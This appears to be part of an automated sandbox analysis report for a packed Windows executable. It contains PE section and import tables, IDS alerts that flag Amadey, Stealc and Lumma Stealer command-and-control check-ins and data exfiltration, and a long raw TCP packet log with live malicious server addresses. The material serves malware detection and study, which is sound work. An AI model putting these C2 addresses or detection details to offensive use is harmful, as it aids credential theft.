add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b4460	0x10	puhiakkr
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b4410	0x18	puhiakkr
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	0b606cdd0cc6aea5a80d3547e05163de	False	0.9974455040871935	data	7.986254795164455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7af05830d9e3078f6bbcc7dfc66a9b6	False	0.58203125	data	4.549353236414526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a9000	0x200	827f517f15c0cfd8bc63524e936100e5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
puhiakkr	0x314000	0x1a1000	0x1a0600	931c96c853a45efea54bb9a233e59b51	False	0.9946677518012609	data	7.953368879737913	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kzukqnss	0x4b5000	0x1000	0x600	875459dd36828f57823e08154eb623a7	False	0.5989583333333334	data	5.15055659822778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b6000	0x3000	0x2200	9a30fba935beb59bf5d61fc3be916e91	False	0.05939797794117647	Applesoft BASIC program data, first line number 15	0.7785559312096367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4b4470	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T05:02:12.992158+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49704	185.215.113.16	80	TCP
2024-10-29T05:02:14.346685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49705	162.159.134.233	443	TCP
2024-10-29T05:02:17.039424+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.5	49704	TCP
2024-10-29T05:02:17.959073+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49706	185.215.113.16	80	TCP
2024-10-29T05:02:26.082585+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49735	185.215.113.16	80	TCP
2024-10-29T05:02:26.370809+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49735	185.215.113.16	80	TCP
2024-10-29T05:02:28.405714+0100	2027619	ET MALWARE Observed Malicious SSL Cert (Quasar CnC)	1	150.241.90.56	38204	192.168.2.5	49751	TCP
2024-10-29T05:02:28.405714+0100	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	150.241.90.56	38204	192.168.2.5	49751	TCP
2024-10-29T05:02:33.322794+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49778	185.215.113.16	80	TCP
2024-10-29T05:02:33.609104+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49778	185.215.113.16	80	TCP
2024-10-29T05:02:37.219508+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49799	185.215.113.206	80	TCP
2024-10-29T05:02:41.584284+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49825	185.215.113.16	80	TCP
2024-10-29T05:02:43.168161+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49835	188.114.97.3	443	TCP
2024-10-29T05:02:43.168161+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49835	188.114.97.3	443	TCP
2024-10-29T05:02:44.394102+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49844	188.114.97.3	443	TCP
2024-10-29T05:02:44.394102+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49844	188.114.97.3	443	TCP
2024-10-29T05:02:55.372698+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49910	185.215.113.206	80	TCP
2024-10-29T05:02:57.418804+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49854	188.114.97.3	443	TCP
2024-10-29T05:03:01.368411+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49954	188.114.97.3	443	TCP
2024-10-29T05:03:01.368411+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49954	188.114.97.3	443	TCP
2024-10-29T05:03:03.064403+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49965	188.114.97.3	443	TCP
2024-10-29T05:03:03.064403+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49965	188.114.97.3	443	TCP
2024-10-29T05:03:11.922752+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50020	185.215.113.206	80	TCP
2024-10-29T05:03:17.937161+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50026	188.114.97.3	443	TCP
2024-10-29T05:03:17.937161+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50026	188.114.97.3	443	TCP
2024-10-29T05:03:18.177045+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50029	188.114.97.3	443	TCP
2024-10-29T05:03:19.259041+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50030	188.114.97.3	443	TCP
2024-10-29T05:03:19.259041+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50030	188.114.97.3	443	TCP
2024-10-29T05:03:25.381593+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50039	188.114.97.3	443	TCP
2024-10-29T05:03:29.439907+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50046	188.114.97.3	443	TCP
2024-10-29T05:03:30.370274+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50048	185.215.113.16	80	TCP
2024-10-29T05:03:40.657200+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50052	188.114.97.3	443	TCP
2024-10-29T05:03:42.130054+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50063	188.114.97.3	443	TCP
2024-10-29T05:03:51.500181+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50073	188.114.97.3	443	TCP
2024-10-29T05:03:52.423913+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50075	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 05:02:12.075222969 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:12.080744028 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:12.080817938 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:12.080982924 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:12.086329937 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:12.989335060 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:12.992157936 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:12.994390011 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:12.999895096 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:13.288337946 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:13.290338993 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:13.316132069 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:13.316229105 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:13.317289114 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:13.334299088 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:13.334338903 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:13.957264900 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:13.957374096 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.134607077 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.134673119 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.134922028 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.135006905 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.140080929 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.183377028 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346693993 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346760035 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346770048 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.346817970 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346853971 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.346873999 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346878052 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.346893072 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346925020 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.346954107 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.346963882 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.346976042 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.347023964 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.347043037 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.347237110 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.347287893 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.347630024 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.347682953 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.347698927 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.347754955 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466181993 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466269970 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466280937 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466306925 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466334105 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466367960 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466379881 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466439962 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466454029 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466506004 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466519117 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466573000 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466840029 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466892958 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.466906071 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.466968060 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.507672071 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.507745028 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.507771015 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.507838964 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585418940 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585501909 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585513115 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585527897 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585565090 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585607052 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585622072 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585675001 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585751057 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585808992 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585820913 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585870981 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585879087 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585891008 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.585921049 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585957050 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.585967064 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.586019039 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.626949072 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.627022028 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.627048016 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.627068043 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.627108097 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.627146006 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705091953 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705163956 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705171108 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705185890 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705225945 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705254078 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705298901 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705363035 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705378056 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705423117 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705427885 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705441952 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.705471039 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.705523968 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.747298956 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.747378111 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.747385979 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.747405052 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.747438908 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.747462988 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.824620962 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.824812889 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.825011015 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.825093031 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.828782082 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.828800917 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.828859091 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.866856098 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.867052078 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.943996906 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.944202900 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.944438934 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.944513083 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.986028910 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.986130953 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:14.986243963 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:14.986411095 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.063338995 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.063492060 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.063719034 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.063719034 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.063760996 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.063828945 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.064167976 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.064244032 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.105634928 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.105850935 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.151396990 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.151483059 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.182969093 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.183203936 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.183397055 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.183468103 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.225064039 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.225141048 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.270817995 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.270906925 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.270912886 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.270927906 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.270975113 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.302578926 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.302681923 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.344660997 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.344754934 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.344801903 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.344873905 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.390671968 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.390779972 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.421916962 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.422012091 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.422144890 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.422316074 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.464061022 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.464287996 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.464688063 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.464762926 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.510234118 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.510513067 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.541435957 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.541598082 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.541673899 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.541699886 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.541740894 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.541762114 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.583550930 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.583666086 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.583832979 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.583934069 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.629506111 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.629648924 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.629801989 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.629878998 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.660795927 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.660902977 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.661130905 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.661308050 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.703192949 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.703483105 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.703500986 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.703578949 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.940782070 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.940876961 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.940927029 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941006899 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941163063 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941185951 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941232920 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941258907 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941278934 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941323042 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941330910 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941378117 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941544056 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941605091 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941643000 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941668987 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.941720963 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.941720963 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.988002062 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.988082886 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.988162994 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.988198996 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:15.988449097 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:15.988449097 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.062778950 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.062844038 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.063041925 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.063041925 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.063074112 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.063128948 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.139050961 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.139128923 CET	443	49705	162.159.134.233	192.168.2.5
